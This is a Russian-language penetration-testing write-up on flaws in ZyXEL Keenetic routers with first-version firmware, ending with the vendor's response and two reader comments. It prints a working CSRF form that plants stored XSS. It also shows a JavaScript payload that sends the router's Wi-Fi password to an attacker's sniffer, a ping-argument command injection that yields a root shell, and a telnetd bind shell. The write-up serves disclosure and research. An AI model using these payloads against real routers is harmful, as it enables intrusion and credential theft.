Производители программного обеспечения недостаточно заботятся о безопасности маршрутизаторов. А ведь именно через роутер злоумышленник может проникнуть во внутреннюю сеть и прослушивать весь проходящий трафик. В данной статье будут рассмотрены баги и уязвимости, которые были найдены мной и товарищем @090h в процессе пентеста завоевавших популярность роутеров ZyXEL Keenetic.
Современный роутер
Если не брать тех людей, которые сравнивают установку Wi-Fi-роутера с монтированием вышки сотовой связи у себя дома и опасаются влияния радиоволн на свой мозг, можно с уверенностью сказать — беспроводная точка доступа есть почти у каждого активного пользователя Сети. Помимо удобства, Wi-Fi-роутер, как правило, добавляет и безопасности: устройства пользователя оказываются за файрволом и недоступны для прямых атак. Но вместе с тем сама точка доступа может стать объектом для атаки. Программное обеспечение точки доступа (как и любого другого девайса) нередко может быть уязвимо. Производители в большинстве случаев редко придают значение серьезным проверкам безопасности, концентрируясь на удобстве пользователя и максимальной производительности. Аргументация простая: если большинство сервисов недоступны извне, а админка доступна только для пользователей в локальной сети, то чего заморачиваться? На самом же деле набор из простых уязвимостей вкупе с социальной инженерией может дать злоумышленнику удаленный доступ к управлению роутером (правда, при определенном стечении обстоятельств). В этой статье мы рассматриваем потенциальную возможность такой атаки на роутер ZyXEL Keenetic, с первой версией прошивки, которая установлена по умолчанию.
Первый взгляд
Надо понимать, что мы целенаправленно искали уязвимости в роутере. Не было задачи взломать кого-то, у кого стоит нужная нам точка доступа. Первое, с чего мы начали, — это сканирование портов Nmap’ом из внутренней сети (снаружи веб-админка по умолчанию закрыта). Сканер показал нам три открытых порта, из которых нас интересуют только два — 80-й (веб-интерфейс) и 23-й (Telnet).
PORT STATE SERVICE VERSION
23/tcp open telnet?
53/tcp open domain dnsmasq 2.55
| dns-nsid:
|_ bind.version: dnsmasq-2.55
80/tcp open httpGoAhead-Webs httpd
| http-auth:
| HTTP/1.0 401 Unauthorized
На 80-м порту крутится обычный веб-интерфейс для управления роутером. С него мы и начнем.
Веб-баги
Если рассмотреть веб-интерфейс с точки зрения безопасности, то это провал. Классика жанра: везде, где есть возможность ввода своей информации, отсутствует фильтрация! В формах отсутствуют какие-либо токены, что открывает возможность для CSRF-атак.
Конкретно каждую XSS я рассматривать не буду, но стоит обратить внимание на один интересный вариант эксплуатации XSS (лайф-хак). Тебе наверняка хотелось бы скрыть себя из списка клиентов, подключенных к роутеру (их можно посмотреть в админке роутера). Казалось бы, для этого нужно иметь доступ к консоли, писать модули ядра и так далее. Но ответ лежит на поверхности. Просто меняем имя нашего компьютера (поле «Описание») на 1′}]»);alert(1); и подключаемся к роутеру. В результате можно увидеть, что мы «втиснулись» в JS таким образом, что он не обработался и выдал пустой список клиентов. Этого будет вполне достаточно, чтобы скрыть себя и других пользователей, подключенных к точке доступа, от глаз невнимательного админа.
Благодаря CSRF и XSS можно добыть пароль от роутера и получить удаленный доступ через бэкенд, что будет самым лакомым подарком. Однако для этого не обойтись без социальной инженерии (вообще любая атака становится возможной только при определенном стечении обстоятельств).
- Отправляем админу ссылку на хост с заранее подготовленным HTML-файлом:
<FORM NAME="buy" action="http://192.168.1.1/req/usersAdd" METHOD="POST"> <input type="hidden" name='user_name' value='<script src="//server/js/1.js" type="text/javascript">'> <input type="hidden" name='password' value="3"> <input type="hidden" name='fullAccess' value="0"> <input type="hidden" name='save' value="%D0%94%D0%BE%D0%B1%D0%B0%D0%B2%D0%B8%D1%82%D1%8C"> <input type="hidden" name='submit_url' value="%2Fserver%2Fusers.asp"> </FORM> <script>document.buy.submit();setTimeout('document.location = "http://192.168.1.1/server/users.asp"',3000)</script>
Как видишь, используется автосабмит и типичная CSRF. В одном из полей — user_name — с помощью <script> вставляется наш JS-пейлоад.
- Пользователь переадресовывается на протрояненную скриптом страницу роутера, и XSS-код исполняется у него в браузере. Правда, есть один важный нюанс. В админке используется Basic access authentication, поэтому атака сработает, только если у жертвы открыта админка или же логин-пароль был сохранен в браузере.
- С помощью пейлоада выполняем необходимые нам действия. В примере, приложенном к статье, мы просто выдергиваем из веб-интерфейса пароль от роутера и присылаем на наш сниффер. Пейлоад для этой задачи довольно простой:
…. var xmlhttp = getXmlHttp() xmlhttp.open('GET', '/homenet/wireless/security.asp', false); xmlhttp.send(null); if(xmlhttp.status == 200) { t = xmlhttp.responseText; } t=t.replace(/^(.*n)*.*<html/i, "<html"); t=t.replace(/</html>(.*n)*.*$/i, "</html>"); var parser = new DOMParser(); var dom = parser.parseFromString(t, "text/xml"); password = dom.getElementsByTagName('input')[10].value //here it is //send to sniffer var imm = document.createElement('img'); imm.setAttribute('src', "http://server/snifer?"+password)
Стоит обратить внимание на то, что, скачав с роутера файл http://192.168.1.1/req/config/KEENETIC.cfg на наш удаленный сервер и выполнив команду «cat KEENETIC.cfg | gzip -d», мы получим значение всех системных переменных, в том числе и Wi-Fi-ключ от роутера и от админки роутера.
- После успешной передачи данных на сниффер выполняем AJAX, который отправит запрос на очистку таблицы (тем самым мы стираем нашу XSS).
…. //clear var xmlhttp = getXmlHttp() xmlhttp.open('POST', '/req/usersDel', false); xmlhttp.send("select0=ON&select1=ON&delAll=%D0%A3%D0%B4%D0%B0%D0%BB%D0%B8%D1%82%D1%8C+%D0%B2%D1%81%D0%B5&submit_url=%2Fserver%2Fusers.asp%3Fuser_name%3DCSRF%0D%0Apassword%3DCSRF%0D%0AfullAccess%3D0%0D%0Asave%3D%D0%94%D0%BE%D0%B1%D0%B0%D0%B2%D0%B8%D1%82%D1%8C%0D%0Asubmit_url%3D%2Fserver%2Fusers.asp"); ..
- Бинго! Роутер наш! Конечно, это скорее proof-of-concept. Это не значит, что можно взломать любой из полумиллиона девайсов Keenetic, которые были проданы. Атака возможна при стечении двух обстоятельств. Админ должен открыть ссылку — это первое. И веб-интерфейс роутера должен быть открыт в браузере или же логин-пароль должны быть сохранены в браузере. Однако proof-of-concept работает!
Jailbreak from cmd
Подключившись по телнету и залогинившись с данными, которые мы извлекли из файла KEENETIC.cfg, попадаем в интерактивную консоль Keenetic. Здесь мы можем выполнять примитивные операции или даже системные команды через exec. Пример:
Password :
KEENETIC 4G> sys atsh
F/W version : V1.00(AABV.1.2)D0
Product Model : KEENETIC 4G_RevB
KEENETIC 4G> wlan status
Hardware address: CC:5D:4E:FE:A1:00
Wireless : On
Mode: Access Point
SSID : ZyXEL_KEENETIC_4G_FEA100
Channel: 10
Protocol: 802.11b/g/n
Security: WPA2-PSK TKIP/AES
ASCII key : 14881488
Но дело в том, что это дико неудобно, да и хотелось бы иметь полноценную консоль, а не какую-то кривую обертку. Для получения полноценной консоли был найден и проэксплуатирован интересный баг с неправильным парсингом аргумента для ping. Благодаря ему удается выполнять произвольные команды и в том числе «выпрыгнуть» из предложенной оболочки в шелл ash:
KEENETIC 4G> sys ping ya.ru;ls
ping: bad address 'ya.ru'
bin dev etc lib proc sbin sys tmp usr var web
KEENETIC 4G> sys ping ya.ru;ash
ping: bad address 'ya.ru'
BusyBox v1.8.2 (2012-02-21 14:52:32 MSK) built-in shell (ash)
Enter 'help' for a list of built-in commands.
~ #
И вот мы уже имеем полноценную консоль. Теперь мы можем делать все, что угодно, но не стоит забывать, что в роутере используется файловая система squashfs в режиме read-only.
Теперь сделаем вещь, которая облегчит нашу работу с консолью. Конечно же, это бэкконнект. Делается он очень просто:
~ # telnetd -F -l /bin/ash -p 9090
Теперь открываем консоль на нашем компьютере:
root@bt:~# telnet 192.168.1.1 9090
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.
BusyBox v1.8.2 (2012-02-21 14:52:32 MSK) built-in shell (ash)
Enter 'help' for a list of built-in commands.
~ #
~ # cat /proc/version
Linux version 2.6.23.17 (developers@ndmsystems.com) (gcc version 4.1.2) #9 Tue Feb 21 20:21:39 MSK 2012
Как видишь, мы можем даже сделать бэкконнект на свой сервер. В некоторых случаях это может помочь обойти защиту, если таковая имеется.
Концепты
Найденные баги открывают возможности для дальнейшего развития атаки. Рассмотрим некоторые концепты.
- Вносим изменения в софт роутера. Как я уже сказал ранее, мы имеем дело с файловой системой squashfs, и, чтобы что-либо изменить, нужно сильно постараться. Для начала скачиваем оригинал прошивки и распаковываем (в интернете можно без труда найти множество инструкций), далее изменяем необходимые файлы и «склеиваем» прошивку в удобный вид. После этого необходимо обновить микропрограмму в роутере, загрузив файл измененной прошивки. Таким образом, мы сможем изменять, добавлять и удалять какие-либо файлы с прошивки.
- Добавляем функционал через модуль ядра. Если ты обладаешь навыками программирования модулей ядра, то ничто не мешает тебе написать свой модуль ядра, скомпилировать его и подгрузить через lsmod. Но, чтобы без обновления микропрограммы иметь в распоряжении пространство для создания и изменения файлов, мы должны подключить внешний носитель и работать непосредственно с ним (однако у многих пользователей внешних носитель уже подключен).
- Получаем дополнительные данные через команду flash. Стоит обратить внимание на такой инструмент, как команда flash, доступная в консоли роутера. Она может дать нам интересные данные (к примеру, пароль для программы NetFriend с целью удаленной настройки роутера), которые в дальнейшем могут быть использованы против жертвы. Пример:
KEENETIC 4G> flash get SUPER_NAME SUPER_NAME="t0u34" KEENETIC 4G> flash get SUPER_PASSWORD SUPER_PASSWORD="i@t0D93u34jf~34:j#L9.Sd" KEENETIC 4G> flash get ADMIN_NAME ADMIN_NAME="admin" KEENETIC 4G> flash get ADMIN_PASSWORD ADMIN_PASSWORD="1234" KEENETIC 4G>
WWW
- Обсуждение маршрутизаторов ZyXEL Keenetic;
- интересная ветка форума на iXBT;
- возможности роутера Keenetic на прошивке второго поколенияhabrahabr.ru;
- дополнительные приложения для Keenetic.
Вердикт?
Надо понимать, что случай ZyXEL не уникальный — изъянами в своем софте могут похвастаться практически все производители роутеров. Не самые критические на первый взгляд уязвимости при совмещении с социальной инженерией могут привести к довольно печальным последствиям. Но обезопасить себя от подобного можно, только если регулярно обновлять прошивки роутера и изменять все настройки, запрещающие удаленно пользоваться роутером.
INFO
Информация об уязвимостях была передана специалистам компании ZyXEL.
Скорый BUGFIX
Парни из ZyXEL сразу же ответили, что будут делать с багами
«Исправления найденных багов (там где, это необходимо) в ближайшее время станут доступны пользователям в той или иной форме в зависимости от версии микропрограммы (V1 — в неофициальных сборках, V2 — в свежих компонентах). Прошивка 2.0 вообще построена по иному принципу — без использования shell и BusyBox. Вся логика работы скрыта в модулях и библиотеках, и повлиять на ее работу гораздо сложнее. Получить рутовый доступ попросту некуда. Командная оболочка NDM хоть и исполняется от имени рута, но настолько ограничена, что требуется отдельное исследование, как использовать ее по злому умыслу. Что касается уязвимостей веб-интерфейса, вставить код на страницу через имя компьютера в прошивке 2.0 невозможно (мы на всякий случай проверили). Воспользоваться CSRF не получится, ведь мы используем AJAX, а не GET/POST через форму или URL, а кросс-доменные запросы AJAX давно блокируются браузерами. Украсть пароль тоже нельзя, потому что он не хранится в открытом виде.»
2 comments On Как взломать роутер. Эксплуатируем ошибки админки.
Здравствуйте.
Немного не с того начали. Сначала нужно попасть во внутреннюю сеть. Конечно на руку если WiFi открыт. А если там wpa2 и wps выключен?
Здравствуйте! В какую программу вписывать команды, которые выделены в рамку?